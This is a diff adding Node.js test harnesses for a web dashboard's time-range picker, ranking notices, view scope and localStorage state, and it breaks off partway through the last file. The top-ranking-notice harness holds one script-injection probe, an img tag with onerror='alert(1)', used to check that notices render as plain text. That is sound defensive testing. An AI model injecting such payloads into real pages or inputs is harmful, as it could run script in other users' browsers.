+/* Runs every case in Fixtures/time-range-cases.json against the web module wwwroot/js/time-range.js (#5562) and prints one
+   line of JSON: { total, passed, failures: [ "<case name>: <what differed>" ] }. WebTimeRangeFixtureTests starts it as
+       node time-range-harness.mjs <path to wwwroot/js> <path to time-range-cases.json>
+   The module is pure (no DOM, no clock), so it is copied into a scratch folder beside a package.json that marks it as an ES
+   module and imported there. Each case names its own IANA zone and its own now: the module takes both as arguments, so no
+   process zone is set and the run does not depend on the machine's. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, fixturePath] = process.argv.slice(-2);
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "time-range-"));
+let mod;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  mod = await import(pathToFileURL(path.join(scratch, "time-range.js")).href);
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const fixture = JSON.parse(fs.readFileSync(fixturePath, "utf8"));
+const failures = [];
+let passed = 0;
+
+for (const c of fixture.cases) {
+  const problems = [];
+  const r = mod.parseRange(c.input, Date.parse(c.now), c.zone);
+  if (c.error) {
+    if (r.ok) problems.push("expected error " + c.error + " but got " + r.echo);
+    else if (r.errorCode !== c.error) problems.push("error code " + r.errorCode + " (" + r.error + "), expected " + c.error);
+    else if (c.errorMessage && r.error !== c.errorMessage) problems.push("error message '" + r.error + "', expected '" + c.errorMessage + "'");
+  } else if (!r.ok) {
+    problems.push("refused with " + r.errorCode + " (" + r.error + ")");
+  } else {
+    if (r.range.startMs !== Date.parse(c.start)) problems.push("start " + new Date(r.range.startMs).toISOString() + ", expected " + c.start);
+    if (r.range.endMs !== Date.parse(c.end)) problems.push("end " + new Date(r.range.endMs).toISOString() + ", expected " + c.end);
+    if (r.range.live !== c.live) problems.push("live " + r.range.live + ", expected " + c.live);
+    if (r.echo !== c.echo) problems.push("echo '" + r.echo + "', expected '" + c.echo + "'");
+  }
+  if (problems.length === 0) passed++;
+  else failures.push(c.name + " [" + c.input + " @ " + c.zone + "]: " + problems.join("; "));
+}
+
+console.log(JSON.stringify({ total: fixture.cases.length, passed, minimumSpanMinutes: fixture.minimumSpanMinutes, failures }));
diff --git a/Darling/Darling.Tests/time-range-picker-harness.mjs b/Darling/Darling.Tests/time-range-picker-harness.mjs
new file mode 100644
index 0000000000..1c2f306fa7
--- /dev/null
+++ b/Darling/Darling.Tests/time-range-picker-harness.mjs
@@ -0,0 +1,289 @@
+/* Drives the web time range picker (wwwroot/js/time-range-picker.js, #5562) in a small stand-in DOM and prints what it did as one
+   line of JSON. WebTimeRangePickerTests starts it as
+       node time-range-picker-harness.mjs <path to wwwroot/js>
+   The js tree is copied into a scratch folder (so util.js's `el` builder, the picker's one import beside time-range.js, loads as an
+   ES module) and imported. The DOM is a node tree of plain objects that can fire events up through their parents; the clock and the
+   zone are the picker's own options, so the run does not depend on the machine's. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const jsDir = process.argv[process.argv.length - 1];
+
+class FakeEl {
+  constructor(tag, text) {
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.style = {};
+    this.listeners = {};
+    this.parentNode = null;
+    this.className = "";
+    this.value = "";
+    this.disabled = false;
+    this.text = text == null ? null : String(text);
+  }
+  get firstChild() {
+    return this.children[0] || null;
+  }
+  appendChild(child) {
+    child.parentNode = this;
+    this.children.push(child);
+    return child;
+  }
+  removeChild(child) {
+    const i = this.children.indexOf(child);
+    if (i >= 0) this.children.splice(i, 1);
+    child.parentNode = null;
+    return child;
+  }
+  contains(other) {
+    for (let n = other; n; n = n.parentNode) if (n === this) return true;
+    return false;
+  }
+  setAttribute(name, value) {
+    this.attrs[name] = String(value);
+  }
+  getAttribute(name) {
+    return name in this.attrs ? this.attrs[name] : null;
+  }
+  addEventListener(type, fn) {
+    (this.listeners[type] ||= []).push(fn);
+  }
+  focus() {
+    document.activeElement = this;
+  }
+  set textContent(value) {
+    this.children = [];
+    this.text = String(value);
+  }
+  get textContent() {
+    return (this.text || "") + this.children.map((c) => c.textContent).join("");
+  }
+}
+
+const documentListeners = {};
+globalThis.Node = FakeEl;
+globalThis.document = {
+  activeElement: null,
+  createElement: (tag) => new FakeEl(tag),
+  createElementNS: (ns, tag) => new FakeEl(tag),
+  createTextNode: (text) => new FakeEl("#text", text),
+  addEventListener: (type, fn) => (documentListeners[type] ||= []).push(fn),
+  removeEventListener: (type, fn) => {
+    const list = documentListeners[type] || [];
+    const i = list.indexOf(fn);
+    if (i >= 0) list.splice(i, 1);
+  },
+};
+
+/* Fire an event at a node and let it bubble up through its parents, unless a listener stops it. */
+function fire(target, type, extra = {}) {
+  let stopped = false;
+  const event = { type, target, key: extra.key, preventDefault() {}, stopPropagation() { stopped = true; }, ...extra };
+  for (let n = target; n && !stopped; n = n.parentNode) for (const fn of n.listeners[type] || []) fn(event);
+  return event;
+}
+const walkAll = (root, test, out = []) => {
+  if (test(root)) out.push(root);
+  root.children.forEach((c) => walkAll(c, test, out));
+  return out;
+};
+const byClass = (root, cls) => walkAll(root, (n) => (n.className || "").split(" ").includes(cls));
+const text = (node) => (node ? node.textContent : null);
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "time-range-picker-"));
+let picker;
+let tr;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  picker = await import(pathToFileURL(path.join(scratch, "time-range-picker.js")).href);
+  tr = await import(pathToFileURL(path.join(scratch, "time-range.js")).href);
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const NOW = Date.parse("2026-10-08T11:01:00Z");
+const ZONE = "America/New_York";
+const make = (extra = {}) => {
+  documentListeners.mousedown = [];
+  const changes = [];
+  const p = picker.timeRangePicker({ zone: ZONE, now: () => NOW, onChange: (spec, range) => changes.push({ id: tr.specId(spec), label: range.label }), ...extra });
+  const root = new FakeEl("div");
+  root.appendChild(p.node);
+  return { p, root, changes, button: byClass(p.node, "trp-button")[0] };
+};
+const items = (root) => byClass(root, "trp-item").map((b) => ({ name: text(byClass(b, "trp-item-name")[0]), length: text(byClass(b, "trp-item-length")[0]), why: text(byClass(b, "trp-item-why")[0]), disabled: b.attrs["aria-disabled"] === "true", pressed: b.attrs["aria-pressed"] }));
+const itemNamed = (root, name) => byClass(root, "trp-item").find((b) => text(byClass(b, "trp-item-name")[0]) === name);
+const typeInto = (root, value) => {
+  const box = byClass(root, "trp-text")[0];
+  box.value = value;
+  fire(box, "input");
+  return { preview: text(byClass(root, "trp-preview")[0]), previewClass: byClass(root, "trp-preview")[0].className, applyDisabled: byClass(root, "btn")[0].disabled };
+};
+
+const found = {};
+
+/* 1. The closed picker: the button names the range, the detail has the resolved start, end and zone. */
+{
+  const { p, button } = make();
+  const detail = byClass(p.node, "trp-detail")[0];
+  found.closed = { button: text(button), detail: text(detail), ariaLabel: button.attrs["aria-label"], expanded: button.attrs["aria-expanded"], haspopup: button.attrs["aria-haspopup"], windowHours: p.window().hours, windowAsOf: p.window().asOf };
+}
+
+/* 2. Opening: presets, calendar periods with their current lengths, the reach greying the long ones out with the reason. */
+{
+  const { p, root, button } = make();
+  fire(button, "click");
+  const popup = byClass(root, "trp-popup")[0];
+  found.open = {
+    disabled: items(root).filter((i) => i.disabled).map((i) => i.name + ' | ' + i.why),
+    expanded: button.attrs["aria-expanded"],
+    role: popup.attrs.role,
+    dialogLabel: popup.attrs["aria-label"],
+    items: items(root),
+    textLabel: byClass(root, "trp-text")[0].attrs["aria-label"],
+    pickLabels: byClass(root, "trp-pick").map((b) => b.attrs["aria-label"]),
+    documentMousedownListeners: (documentListeners.mousedown || []).length,
+    focusedText: document.activeElement === byClass(root, "trp-text")[0],
+    from: byClass(root, "trp-pick")[0].value,
+    to: byClass(root, "trp-pick")[1].value,
+  };
+  void p;
+}
+
+/* 3. Typing shows the parsed range before Apply; Enter applies it. */
+{
+  const { p, root, changes, button } = make();
+  fire(button, "click");
+  found.typedOk = typeInto(root, "45m");
+  const box = byClass(root, "trp-text")[0];
+  fire(box, "keydown", { key: "Enter" });
+  found.typedApplied = { changes, button: text(button), open: p.isOpen(), expanded: button.attrs["aria-expanded"], docListeners: (documentListeners.mousedown || []).length, window: p.window() };
+}
+
+/* 4. Refusals are shown and Enter does nothing: under 5 minutes, past the reach, nonsense. */
+{
+  const { p, root, changes, button } = make();
+  fire(button, "click");
+  found.tooShort = typeInto(root, "3m");
+  fire(byClass(root, "trp-text")[0], "keydown", { key: "Enter" });
+  found.tooLong = typeInto(root, "last month");
+  fire(byClass(root, "trp-text")[0], "keydown", { key: "Enter" });
+  found.nonsense = typeInto(root, "banana");
+  found.empty = typeInto(root, "");
+  found.refusedChanges = changes.length;
+  found.stillOpen = p.isOpen();
+}
+
+/* 5. Esc closes and returns focus to the button, from the text box (the key bubbles) and from the button. */
+{
+  const { p, root, button } = make();
+  fire(button, "click");
+  fire(byClass(root, "trp-text")[0], "keydown", { key: "Escape" });
+  found.escape = { open: p.isOpen(), focusOnButton: document.activeElement === button, expanded: button.attrs["aria-expanded"], popups: byClass(root, "trp-popup").length, docListeners: (documentListeners.mousedown || []).length };
+}
+
+/* 6. A press outside closes the popup without raising a change; one inside does not. */
+{
+  const { p, root, changes, button } = make();
+  fire(button, "click");
+  const inside = (documentListeners.mousedown || [])[0];
+  inside({ target: byClass(root, "trp-text")[0] });
+  const stillOpen = p.isOpen();
+  inside({ target: new FakeEl("div") });
+  found.outside = { stillOpenAfterInside: stillOpen, openAfterOutside: p.isOpen(), changes: changes.length, docListeners: (documentListeners.mousedown || []).length };
+}
+
+/* 7. A preset applies at once; a greyed-out one does nothing; a calendar period holds its spec. */
+{
+  const { p, root, changes, button } = make();
+  fire(button, "click");
+  fire(itemNamed(root, "Past 15 minutes"), "click");
+  const afterPreset = { changes: [...changes], button: text(button), open: p.isOpen() };
+  fire(button, "click");
+  fire(itemNamed(root, "Past 30 days"), "click");
+  const afterDisabled = { changes: changes.length, open: p.isOpen() };
+  fire(itemNamed(root, "Previous Week"), "click");
+  found.presets = { afterPreset, afterDisabled, afterPeriod: { changes: [...changes], button: text(button), detail: text(byClass(p.node, "trp-detail")[0]), window: p.window() } };
+}
+
+/* 8. The date and time boxes write the typed form and preview it. */
+{
+  const { root, button } = make();
+  fire(button, "click");
+  const [from, to] = byClass(root, "trp-pick");
+  from.value = "2026-10-01T13:00";
+  fire(from, "change");
+  const afterOne = byClass(root, "trp-text")[0].value;
+  to.value = "2026-10-01T15:00";
+  fire(to, "change");
+  found.picked = { afterOne, text: byClass(root, "trp-text")[0].value, preview: text(byClass(root, "trp-preview")[0]) };
+}
+
+/* 9. Compact hides the detail (it moves to the tooltip); the sample-interval and data-start notes appear; select() refuses what is not allowed. */
+{
+  const compact = make({ compact: true });
+  const detail = byClass(compact.p.node, "trp-detail")[0];
+  found.compact = { detail: text(detail), title: compact.p.node.attrs.title };
+  const shortOne = make({ spec: tr.relativeSpec(5 * 60000), sampleIntervalMs: 5 * 60000 });
+  found.notes = { short: text(byClass(shortOne.p.node, "trp-note")[0]) };
+  const m = make();
+  found.select = { tooLong: m.p.select(tr.relativeSpec(30 * 86400000)), tooShort: m.p.select(tr.relativeSpec(60000)), ok: m.p.select(tr.relativeSpec(3600000)), changes: m.changes.map((c) => c.id) };
+}
+
+/* 10. The reach comes from a catalog entry's max_hours when it carries one; a picker with that reach offers the long periods. */
+{
+  const entry = { name: "get_x", params: [{ name: "hours", type: "int", max_hours: 2160 }] };
+  const reach = tr.reachHours(entry);
+  const { root, button } = make({ reachHours: reach });
+  fire(button, "click");
+  const interval = tr.collectorIntervalMs({ params: [{ name: "hours", collector_interval_minutes: 5 }] });
+  found.reach = { interval, noInterval: tr.collectorIntervalMs({ params: [] }), reach, none: tr.reachHours({ name: "y", params: [] }), absent: tr.reachHours(null), items: items(root).filter((i) => i.disabled).map((i) => i.name) };
+}
+
+/* 11. A live range slides: refresh() redraws at the clock it is given. setSpec reads an id back. */
+{
+  let clock = NOW;
+  const { p, button } = make({ now: () => clock, spec: tr.relativeSpec(3600000) });
+  const first = text(byClass(p.node, "trp-detail")[0]);
+  clock = NOW + 3600000;
+  p.refresh();
+  const second = text(byClass(p.node, "trp-detail")[0]);
+  p.setSpec("previous-month");
+  found.slides = { first, second, afterSetSpec: text(button), specId: tr.specId(p.spec()) };
+}
+
+/* 12. Review r1 M3: on a live range, editing only the start box keeps the end as "now"; typing an end makes it a fixed pair. */
+{
+  const { root, button, p } = make({ spec: tr.relativeSpec(4 * 3600000) });
+  fire(button, "click");
+  const [from, to] = byClass(root, "trp-pick");
+  const original = from.value;
+  from.value = "2026-10-08T05:00";
+  fire(from, "change");
+  const startOnly = byClass(root, "trp-text")[0].value;
+  to.value = "2026-10-08T07:00";
+  fire(to, "change");
+  found.liveEnd = { original, startOnly, edited: byClass(root, "trp-text")[0].value };
+}
+
+/* 13. Review r1 M2: a fixed range whose end is at or after now is a live range ending now (no as_of); one that has ended keeps its as_of. */
+{
+  const { p } = make({ spec: tr.fixedSpec(NOW - 3 * 3600000, NOW + 3600000) });
+  const past = make({ spec: tr.fixedSpec(NOW - 3 * 3600000, NOW - 3600000) });
+  found.futureEnd = { future: p.window(), past: past.p.window() };
+}
+
+/* 14. Review r2 M1: a fixed range that starts in the future is refused with its reason, and Apply stays off; nothing is held or sent. */
+{
+  const { root, button, changes } = make();
+  fire(button, "click");
+  const typed = typeInto(root, "Dec 25 2030 - Dec 26 2030");
+  found.futureStart = { ...typed, changes: changes.length };
+}
+
+console.log(JSON.stringify(found));
diff --git a/Darling/Darling.Tests/top-ranking-notice-harness.mjs b/Darling/Darling.Tests/top-ranking-notice-harness.mjs
new file mode 100644
index 0000000000..f327e8ed4a
--- /dev/null
+++ b/Darling/Darling.Tests/top-ranking-notice-harness.mjs
@@ -0,0 +1,152 @@
+/* #5299 (F9): runs the server page's four Top Queries and Top Procedures cards (the CPU tab's two grids, the Queries tab's composite and its
+   procedures grid, all in wwwroot/js/pages/server-tabs.js with the shipped panels.js and util.js) against a scripted /api/read answer, picks
+   the Reads ranking on the CPU tab's cards, and prints as one line of JSON the notice lines each card drew. TopRankingNoticeBehaviourTests
+   starts it as
+       node top-ranking-notice-harness.mjs <path to wwwroot/js> <scenario>
+   with HARNESS_INPUT set to {"floor": <the window-floor sentence>, "retention": <the retention notice>}. The whole js tree is copied into a
+   scratch folder first (#5279), so a module another change adds needs no edit here. Only the DOM and fetch are stand-ins. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+const [jsDir, scenario] = process.argv.slice(-2);
+const INPUT = JSON.parse(process.env.HARNESS_INPUT);
+
+class FakeNode {
+  constructor(tag) {
+    this.style = {};
+    this.classList = {
+      add: (c) => { this.className = (this.className + " " + c).trim(); },
+      remove: (c) => { this.className = this.className.split(" ").filter((x) => x !== c).join(" "); },
+      toggle() {},
+      contains: () => false,
+    };
+    this.tag = tag;
+    this.children = [];
+    this.attrs = {};
+    this.dataset = {};
+    this.listeners = {};
+    this.parent = null;
+    this._text = "";
+    this.className = "";
+  }
+  get parentNode() { return this.parent; }
+  closest(tag) { for (let n = this; n; n = n.parent) if (n.tag === tag) return n; return null; }
+  click() { this.fire("click", { target: this }); }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) {
+    if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c);
+    c.parent = this;
+    this.children.push(c);
+    return c;
+  }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = {
+  body: new FakeNode("body"),
+  createElement: (t) => new FakeNode(t),
+  createElementNS: (ns, t) => new FakeNode(t),
+  createTextNode: (t) => new FakeText(t),
+};
+globalThis.location = { hash: "#/server/a/cpu" };
+
+/* What the two reads answer: a payload that carries the window floor's note and the reads ranking's retention notice, in the shape each
+   scenario names. A read this harness does not script answers an empty object. */
+const MARKUP = 'partial window: <b>bold</b> <img src="x" onerror="alert(1)"> older points are not included.';
+const NOTES = {
+  both: { window_truncated: true, truncation_note: INPUT.floor, retention_notice: INPUT.retention },
+  floorOnly: { window_truncated: true, truncation_note: INPUT.floor, retention_notice: null },
+  retentionOnly: { window_truncated: false, truncation_note: null, retention_notice: INPUT.retention },
+  neither: { window_truncated: false, truncation_note: null, retention_notice: null },
+  markup: { window_truncated: true, truncation_note: null, retention_notice: MARKUP },
+}[scenario];
+
+const asks = [];
+const answerFor = (name) => {
+  if (name === "get_top_queries_by_cpu") {
+    return {
+      server: "a", hours_back: 168, tier_used: "raw", ...NOTES,
+      queries: [{ query_hash: "0x1", database_name: "db1", query_text: "select 1", total_cpu_ms: 5, total_logical_reads: 7, execution_count: 2 }],
+    };
+  }
+  if (name === "get_top_procedures_by_cpu") {
+    return {
+      server: "a", hours_back: 168, tier_used: "raw", ...NOTES,
+      procedures: [{ database_name: "db1", full_name: "dbo.p1", execution_count: 3, total_cpu_ms: 4, total_logical_reads: 9 }],
+    };
+  }
+  return {};
+};
+globalThis.fetch = async (url) => {
+  const u = new URL(String(url), "http://viewer.test");
+  const name = u.pathname.replace("/api/read/", "");
+  if (name === "get_top_queries_by_cpu" || name === "get_top_procedures_by_cpu") {
+    asks.push(name + ":" + (u.searchParams.get("order_by") ?? "-"));
+  }
+  return { status: 200, ok: true, text: async () => JSON.stringify(answerFor(name)) };
+};
+process.on("unhandledRejection", () => {});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "topranking-notice-"));
+let modules;
+try {
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  const load = (rel) => import(pathToFileURL(path.join(scratch, rel)).href);
+  modules = { util: await load("util.js"), tabs: await load(path.join("pages", "server-tabs.js")) };
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+
+const all = (n, out = []) => { out.push(n); for (const c of n.children) all(c, out); return out; };
+const flush = async () => { for (let i = 0; i < 25; i++) await new Promise((r) => setTimeout(r, 0)); };
+const draw = async (tabId) => {
+  const tab = modules.tabs.SERVER_TABS.find((t) => t.id === tabId);
+  const root = new FakeNode("main");
+  modules.util.mount(root, tab.build("a", { hours: 168, label: "last 7 days" }));
+  await flush();
+  return root;
+};
+const cardOf = (root, title) =>
+  all(root).find((n) => n.className && /\bpanel\b/.test(n.className) && all(n).some((c) => c.tag === "h3" && c.textContent.startsWith(title))) || null;
+const noticesOf = (card) => all(card).filter((n) => n.tag === "div" && /\bstrip\b/.test(n.className) && /\bnotice\b/.test(n.className));
+const pickReads = async (root, title) => {
+  const select = all(cardOf(root, title)).find((n) => n.tag === "select" && n.attrs["aria-label"] === "Rank by");
+  select.value = "reads";
+  select.fire("change");
+  await flush();
+};
+/* What a card drew as notices: each line's text, and whether it is text alone (a text node inside the strip, never an element). */
+const report = (root, title) => {
+  const card = cardOf(root, title);
+  if (!card) return { found: false };
+  const strips = noticesOf(card);
+  return {
+    found: true,
+    title: all(card).find((n) => n.tag === "h3").textContent.split(" last ")[0],
+    notices: strips.map((s) => s.textContent),
+    textOnly: strips.every((s) => all(s).slice(1).every((c) => c.tag === "#text")),
+  };
+};
+
+const out = { cards: {} };
+const cpu = await draw("cpu");
+await pickReads(cpu, "Top Queries by");
+await pickReads(cpu, "Top Procedures by");
+out.cards.cpuQueries = report(cpu, "Top Queries by");
+out.cards.cpuProcedures = report(cpu, "Top Procedures by");
+/* The pick lives at module scope (the page's 60 s rebuild keeps it), so the Queries tab's cards open on Reads without a pick of their own. */
+const queries = await draw("queries");
+out.cards.queriesQueries = report(queries, "Top Queries by");
+out.cards.queriesProcedures = report(queries, "Top Procedures by");
+out.asks = asks;
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/view-scope-harness.mjs b/Darling/Darling.Tests/view-scope-harness.mjs
new file mode 100644
index 0000000000..e7b39482c4
--- /dev/null
+++ b/Darling/Darling.Tests/view-scope-harness.mjs
@@ -0,0 +1,79 @@
+/* Runs the web shell's real view-scope seeding (the region of wwwroot/js/pages/views.js from "const viewScopeMemory" to
+   "function rememberScope") and prints as one line of JSON the server scope a view opens on.
+   ViewSavedServerScopeTests starts it as: node view-scope-harness.mjs <path to views.js> */
+import fs from "node:fs";
+import vm from "node:vm";
+
+const viewsPath = process.argv[2];
+const full = fs.readFileSync(viewsPath, "utf8").replace(/\r\n/g, "\n");
+const start = full.indexOf("const viewScopeMemory");
+const end = full.indexOf("function rememberScope");
+if (start < 0 || end < start) throw new Error("views.js layout changed: the seeding region was not found");
+
+const context = vm.createContext({ Map, String, Array });
+vm.runInContext(
+  full.slice(start, end) +
+    "\nthis.seedState = seedState; this.panelFilterServer = panelFilterServer; this.panelUnderScope = panelUnderScope; this.panelServerNote = panelServerNote;",
+  context,
+);
+
+const fleet = [
+  { value: "sql2025", label: "SQL2025" },
+  { value: "sql2022", label: "SQL2022" },
+];
+const seed = (id, variables, panelServer) => context.seedState(id, 24, variables, fleet, panelServer).server;
+const sv = (def) => [{ name: "server", dimension: "server", default: def }];
+
+/* W4b: a view with NO server variable whose every composed panel filters to one server (custom view 3's shape). */
+const eq = (v) => ({ dimension: "server", op: "eq", value: v });
+const composed = (...filters) => ({ source: "wait_stats", measure: "x", filters });
+const panelsServer = (panels) => { const r = context.panelFilterServer(panels, fleet); return r ? r.value : null; };
+const wholeView = [composed(eq("SQL2025")), composed(eq("SQL2025"), { dimension: "database", op: "eq", value: "d" }), composed(eq("sql2025"))];
+const viewServer = context.panelFilterServer(wholeView, fleet);
+const under = (p, server) => context.panelUnderScope(p, { server }, viewServer);
+
+console.log(JSON.stringify({
+  panelSeed: seed("p1", [], viewServer),
+  panelSeedVariableWins: seed("p2", sv("sql2022"), viewServer),
+  panelSeedNone: seed("p3", [], null),
+  panelServerOfWholeView: panelsServer(wholeView),
+  panelServerMixed: panelsServer([composed(eq("SQL2025")), composed(eq("SQL2022"))]),
+  panelServerOnePanelUnfiltered: panelsServer([composed(eq("SQL2025")), composed()]),
+  panelServerTwoServerFilters: panelsServer([composed(eq("SQL2025"), eq("SQL2022"))]),
+  panelServerInOp: panelsServer([composed({ dimension: "server", op: "in", value: "SQL2025" })]),
+  panelServerNotInFleet: panelsServer([composed(eq("SQL2019"))]),
+  panelServerReadPanelsIgnored: panelsServer([composed(eq("SQL2025")), { read: "get_x", params: {} }]),
+  panelServerNoComposed: panelsServer([{ read: "get_x" }]),
+  underSame: under(wholeView[1], ["sql2025"]).filters.length,
+  underOther: under(wholeView[1], ["sql2022"]).filters.map((f) => f.dimension),
+  underAll: under(wholeView[0], "All").filters.length,
+  underReadPanel: under({ read: "get_x" }, "All"),
+  noteOnServer: context.panelServerNote({ server: ["sql2025"] }, viewServer),
+  noteOnOther: context.panelServerNote({ server: "All", picked: true }, viewServer),
+  noteOnOtherNotPicked: context.panelServerNote({ server: ["sql2022"], picked: false }, viewServer),
+  noteOnAllNotPicked: context.panelServerNote({ server: "All", picked: false }, viewServer),
+  noteOnBlankNotPicked: context.panelServerNote({ server: "", picked: false }, viewServer),
+  panelSeedVariableAll: seed("p4", sv("All"), viewServer),
+  panelSeedVariableReference: seed("p5", sv("$other"), viewServer),
+  panelSeedVariableUnknown: seed("p6", sv("nope"), viewServer),
+  panelSeedOtherDimensionVariable: seed("p7", [{ name: "db", dimension: "database", default: "x" }], viewServer),
+  pickedFlags: (() => {
+    const fresh = context.seedState("m0", 24, [], fleet, viewServer).picked;
+    const variable = context.seedState("m0b", 24, sv("sql2022"), fleet, viewServer).picked;
+    vm.runInContext('viewScopeMemory.set("m1", { server: "All", hours: 24, values: {}, picked: true }); viewScopeMemory.set("m2", { server: "All", hours: 12, values: {}, picked: false });', context);
+    return { fresh, variable, remembered: context.seedState("m1", 24, [], fleet, viewServer).picked, rememberedHoursOnly: context.seedState("m2", 24, [], fleet, viewServer).picked };
+  })(),
+  panelServerEqPlusIn: panelsServer([composed(eq("SQL2025"), { dimension: "server", op: "in", value: "SQL2022" })]),
+  panelServerEqPlusNeq: panelsServer([composed(eq("SQL2025"), { dimension: "server", op: "neq", value: "SQL2022" })]),
+  panelServerEqPlusOtherDimension: panelsServer([composed(eq("SQL2025"), { dimension: "database", op: "in", value: "d" })]),
+  none: seed("a", []),
+  byName: seed("b", sv("sql2025")),
+  byDisplayName: seed("c", sv("SQL2022")),
+  list: seed("d", sv("sql2025; SQL2022 ,nope")),
+  all: seed("e", sv("All")),
+  blank: seed("f", sv("  ")),
+  reference: seed("g", sv("$other")),
+  unknown: seed("h", sv("nope")),
+  twoServerVariables: seed("i", [...sv("sql2025"), { name: "s2", dimension: "server", default: "sql2022" }]),
+  otherDimension: seed("j", [{ name: "db", dimension: "database", default: "sql2025" }]),
+}));
diff --git a/Darling/Darling.Tests/viewer-local-blank-harness.mjs b/Darling/Darling.Tests/viewer-local-blank-harness.mjs
new file mode 100644
index 0000000000..a32ebb5d5e
--- /dev/null
+++ b/Darling/Darling.Tests/viewer-local-blank-harness.mjs
@@ -0,0 +1,18 @@
+/* Runs the web dashboard's real per-browser state module (wwwroot/js/viewer-local.js) and answers, for each text in a list
+   read from stdin, whether the page's blank-name rule and its name rule take it. WebDatabaseBlankRuleTests starts it as
+       node viewer-local-blank-harness.mjs <path to viewer-local.js>
+   and writes the list as JSON: an array of texts, each text an array of UTF-16 code units (numbers), so a lone surrogate
+   travels intact. The answer is one JSON line: { blank: "0101...", name: "0110..." } with one character per text, "1" for
+   yes. The module has no imports; its `export` keywords are dropped so it runs in a vm context, exactly as shipped. */
+import fs from "node:fs";
+import vm from "node:vm";
+
+const path = process.argv[2];
+const source = fs.readFileSync(path, "utf8").replace(/^export /gm, "");
+const ctx = vm.createContext({ console, Date, localStorage: { getItem: () => null, setItem: () => {}, removeItem: () => {} } });
+vm.runInContext(source + "\n;globalThis.api = { isBlankDatabaseName, isDatabaseName };", ctx);
+
+const texts = JSON.parse(fs.readFileSync(0, "utf8")).map((units) => String.fromCharCode(...units));
+const blank = texts.map((t) => (ctx.api.isBlankDatabaseName(t) ? "1" : "0")).join("");
+const name = texts.map((t) => (ctx.api.isDatabaseName(t) ? "1" : "0")).join("");
+console.log(JSON.stringify({ blank, name }));
diff --git a/Darling/Darling.Tests/viewer-local-harness.mjs b/Darling/Darling.Tests/viewer-local-harness.mjs
new file mode 100644
index 0000000000..ccccce6115
--- /dev/null
+++ b/Darling/Darling.Tests/viewer-local-harness.mjs
@@ -0,0 +1,184 @@
+/* Runs the web dashboard's real per-browser state module (wwwroot/js/viewer-local.js) against a stubbed
+   localStorage and prints the result of a scenario as one line of JSON. ViewerLocalStateBehaviourTests starts it as
+       node viewer-local-harness.mjs <path to viewer-local.js> <scenario>
+   The module has no imports; its `export` keywords are dropped so it runs in a vm context, exactly as shipped. */
+import fs from "node:fs";
+import vm from "node:vm";
+
+const [path, scenario] = process.argv.slice(-2);
+const source = fs.readFileSync(path, "utf8").replace(/^export /gm, "");
+
+function makeStorage(initial = {}, opts = {}) {
+  const data = { ...initial };
+  return {
+    data,
+    getItem: (k) => { if (opts.throwOnRead) throw new Error("denied"); return Object.prototype.hasOwnProperty.call(data, k) ? data[k] : null; },
+    setItem: (k, v) => { if (opts.throwOnWrite) throw new Error("quota"); data[k] = String(v); },
+    removeItem: (k) => { delete data[k]; },
+  };
+}
+
+/* A fresh module instance over the given storage: this is "the page was rebuilt / reloaded". */
+function load(storage) {
+  const ctx = vm.createContext({ console, Date, localStorage: storage });
+  vm.runInContext(source + "\n;globalThis.api = { " +
+    "KEY_FAVORITES, KEY_ACKS, KEY_SEVERITY_COLORS, KEY_SIDEBAR, isFavorite, toggleFavorite, favoritesFirst, updateAttention, attentionFor, " +
+    "acknowledge, isAcknowledged, severityColor, setSeverityColor, applySeverityColors, isSidebarCollapsed, setSidebarCollapsed, " +
+    "refreshAttention, summarizeAlerts, KEY_DB_FILTER, getDatabaseFilter, setDatabaseFilter, MAX_DB_NAMES, MAX_DB_QUERY_BYTES, databaseQueryBytes };", ctx);
+  return ctx.api;
+}
+
+const row = (id, t, extra = {}) => ({ server_id: id, alert_time: t, metric_name: "M", severity: "warning", muted: false, ...extra });
+const out = {};
+
+if (scenario === "favorites") {
+  const st = makeStorage();
+  const a = load(st);
+  a.toggleFavorite(3);
+  const cards = [{ server_id: 1, display_name: "a" }, { server_id: 3, display_name: "c" }, { server_id: 2, display_name: "b" }];
+  const byName = (x, y) => x.display_name.localeCompare(y.display_name);
+  out.sorted = cards.slice().sort(a.favoritesFirst(byName)).map((c) => c.server_id);
+  const b = load(st); // rebuilt
+  out.afterReload = b.isFavorite(3);
+  b.toggleFavorite(3);
+  out.afterUntoggle = load(st).isFavorite(3);
+  out.stored = JSON.parse(st.data[a.KEY_FAVORITES]);
+} else if (scenario === "ack") {
+  const st = makeStorage();
+  const a = load(st);
